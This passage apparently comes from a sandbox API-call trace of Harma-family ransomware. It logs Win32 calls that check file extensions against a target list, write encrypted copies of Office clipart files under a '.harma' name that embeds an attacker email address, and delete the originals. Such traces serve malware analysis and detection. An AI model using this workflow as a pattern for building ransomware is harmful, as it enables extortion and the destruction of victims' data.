(lpString1=".dbf", lpString2=".WMF") returned -1 [0169.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0169.279] lstrlenW (lpString=".1cd") returned 4 [0169.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0169.279] lstrlenW (lpString=".jpg") returned 4 [0169.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.279] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.280] lstrlenW (lpString="J0105974.WMF") returned 12 [0169.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.280] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=4612) returned 1 [0169.280] CloseHandle (hObject=0x370) returned 1 [0169.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf")) returned 0x20 [0169.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.281] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.281] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0169.282] GetLastError () returned 0x0 [0169.282] ReadFile (in: hFile=0x370, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1204, lpOverlapped=0x0) returned 1 [0169.622] WriteFile (in: hFile=0x33c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1210, lpOverlapped=0x0) returned 1 [0169.623] ReadFile (in: hFile=0x370, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.623] WriteFile (in: hFile=0x33c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.623] SetEndOfFile (hFile=0x33c) returned 1 [0169.623] CloseHandle (hObject=0x33c) returned 1 [0169.623] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.623] SetEndOfFile (hFile=0x370) returned 1 [0169.625] CloseHandle (hObject=0x370) returned 1 [0169.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0169.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0169.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0169.627] lstrlenW (lpString=".doc") returned 4 [0169.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.627] lstrlenW (lpString=".docx") returned 5 [0169.627] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.627] lstrlenW (lpString=".pdf") returned 4 [0169.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.627] lstrlenW (lpString=".xls") returned 4 [0169.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.627] lstrlenW (lpString=".xlsx") returned 5 [0169.627] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.627] lstrlenW (lpString=".ppt") returned 4 [0169.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0169.627] lstrlenW (lpString=".zip") returned 4 [0169.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.627] lstrlenW (lpString=".rar") returned 4 [0169.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.627] lstrlenW (lpString=".bz2") returned 4 [0169.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.627] lstrlenW (lpString=".7z") returned 3 [0169.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0169.627] lstrlenW (lpString=".dbf") returned 4 [0169.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0169.627] lstrlenW (lpString=".1cd") returned 4 [0169.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0169.628] lstrlenW (lpString=".jpg") returned 4 [0169.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0169.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0169.628] lstrlenW (lpString=".doc") returned 4 [0169.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.628] lstrlenW (lpString=".docx") returned 5 [0169.628] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.628] lstrlenW (lpString=".pdf") returned 4 [0169.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.628] lstrlenW (lpString=".xls") returned 4 [0169.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.628] lstrlenW (lpString=".xlsx") returned 5 [0169.628] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.628] lstrlenW (lpString=".ppt") returned 4 [0169.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0169.628] lstrlenW (lpString=".zip") returned 4 [0169.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.628] lstrlenW (lpString=".rar") returned 4 [0169.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.628] lstrlenW (lpString=".bz2") returned 4 [0169.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.628] lstrlenW (lpString=".7z") returned 3 [0169.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0169.629] lstrlenW (lpString=".dbf") returned 4 [0169.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0169.629] lstrlenW (lpString=".1cd") returned 4 [0169.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0169.629] lstrlenW (lpString=".jpg") returned 4 [0169.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.629] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.629] lstrlenW (lpString="J0106208.WMF") returned 12 [0169.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0169.655] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=11900) returned 1 [0169.655] CloseHandle (hObject=0x3ac) returned 1 [0169.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf")) returned 0x20 [0169.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0169.676] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.676] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0169.677] GetLastError () returned 0x0 [0169.677] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x2e7c, lpOverlapped=0x0) returned 1 [0169.696] WriteFile (in: hFile=0x338, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0169.698] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.698] WriteFile (in: hFile=0x338, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.698] SetEndOfFile (hFile=0x338) returned 1 [0169.698] CloseHandle (hObject=0x338) returned 1 [0169.699] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.699] SetEndOfFile (hFile=0x364) returned 1 [0169.704] CloseHandle (hObject=0x364) returned 1 [0169.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf")) returned 1 [0169.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0169.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0169.705] lstrlenW (lpString=".doc") returned 4 [0169.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.706] lstrlenW (lpString=".docx") returned 5 [0169.706] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.706] lstrlenW (lpString=".pdf") returned 4 [0169.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.706] lstrlenW (lpString=".xls") returned 4 [0169.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.706] lstrlenW (lpString=".xlsx") returned 5 [0169.706] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.706] lstrlenW (lpString=".ppt") returned 4 [0169.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0169.706] lstrlenW (lpString=".zip") returned 4 [0169.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.706] lstrlenW (lpString=".rar") returned 4 [0169.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.706] lstrlenW (lpString=".bz2") returned 4 [0169.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.706] lstrlenW (lpString=".7z") returned 3 [0169.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0169.706] lstrlenW (lpString=".dbf") returned 4 [0169.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0169.706] lstrlenW (lpString=".1cd") returned 4 [0169.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0169.707] lstrlenW (lpString=".jpg") returned 4 [0169.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0169.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0169.707] lstrlenW (lpString=".doc") returned 4 [0169.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.707] lstrlenW (lpString=".docx") returned 5 [0169.707] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.707] lstrlenW (lpString=".pdf") returned 4 [0169.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.707] lstrlenW (lpString=".xls") returned 4 [0169.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.707] lstrlenW (lpString=".xlsx") returned 5 [0169.707] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.707] lstrlenW (lpString=".ppt") returned 4 [0169.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0169.707] lstrlenW (lpString=".zip") returned 4 [0169.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.707] lstrlenW (lpString=".rar") returned 4 [0169.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.707] lstrlenW (lpString=".bz2") returned 4 [0169.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.707] lstrlenW (lpString=".7z") returned 3 [0169.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0169.708] lstrlenW (lpString=".dbf") returned 4 [0169.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0169.708] lstrlenW (lpString=".1cd") returned 4 [0169.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0169.708] lstrlenW (lpString=".jpg") returned 4 [0169.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.708] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.708] lstrlenW (lpString="J0106958.WMF") returned 12 [0169.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0169.709] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=13784) returned 1 [0169.709] CloseHandle (hObject=0x364) returned 1 [0169.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf")) returned 0x20 [0169.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0169.709] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.709] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0169.746] GetLastError () returned 0x0 [0169.746] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x35d8, lpOverlapped=0x0) returned 1 [0169.757] WriteFile (in: hFile=0x33c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x35e0, lpOverlapped=0x0) returned 1 [0169.758] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.758] WriteFile (in: hFile=0x33c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.758] SetEndOfFile (hFile=0x33c) returned 1 [0169.758] CloseHandle (hObject=0x33c) returned 1 [0169.759] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.759] SetEndOfFile (hFile=0x364) returned 1 [0169.761] CloseHandle (hObject=0x364) returned 1 [0169.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf")) returned 1 [0170.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0170.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0170.033] lstrlenW (lpString=".doc") returned 4 [0170.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString=".docx") returned 5 [0170.033] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.033] lstrlenW (lpString=".pdf") returned 4 [0170.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString=".xls") returned 4 [0170.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.033] lstrlenW (lpString=".xlsx") returned 5 [0170.033] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.033] lstrlenW (lpString=".ppt") returned 4 [0170.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0170.033] lstrlenW (lpString=".zip") returned 4 [0170.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.033] lstrlenW (lpString=".rar") returned 4 [0170.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString=".bz2") returned 4 [0170.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.033] lstrlenW (lpString=".7z") returned 3 [0170.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0170.034] lstrlenW (lpString=".dbf") returned 4 [0170.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0170.034] lstrlenW (lpString=".1cd") returned 4 [0170.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0170.034] lstrlenW (lpString=".jpg") returned 4 [0170.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0170.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0170.034] lstrlenW (lpString=".doc") returned 4 [0170.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.034] lstrlenW (lpString=".docx") returned 5 [0170.034] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.034] lstrlenW (lpString=".pdf") returned 4 [0170.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.034] lstrlenW (lpString=".xls") returned 4 [0170.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.034] lstrlenW (lpString=".xlsx") returned 5 [0170.034] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.034] lstrlenW (lpString=".ppt") returned 4 [0170.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0170.034] lstrlenW (lpString=".zip") returned 4 [0170.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.034] lstrlenW (lpString=".rar") returned 4 [0170.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.034] lstrlenW (lpString=".bz2") returned 4 [0170.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.035] lstrlenW (lpString=".7z") returned 3 [0170.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0170.035] lstrlenW (lpString=".dbf") returned 4 [0170.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0170.035] lstrlenW (lpString=".1cd") returned 4 [0170.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0170.035] lstrlenW (lpString=".jpg") returned 4 [0170.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.035] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.035] lstrlenW (lpString="J0107138.WMF") returned 12 [0170.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 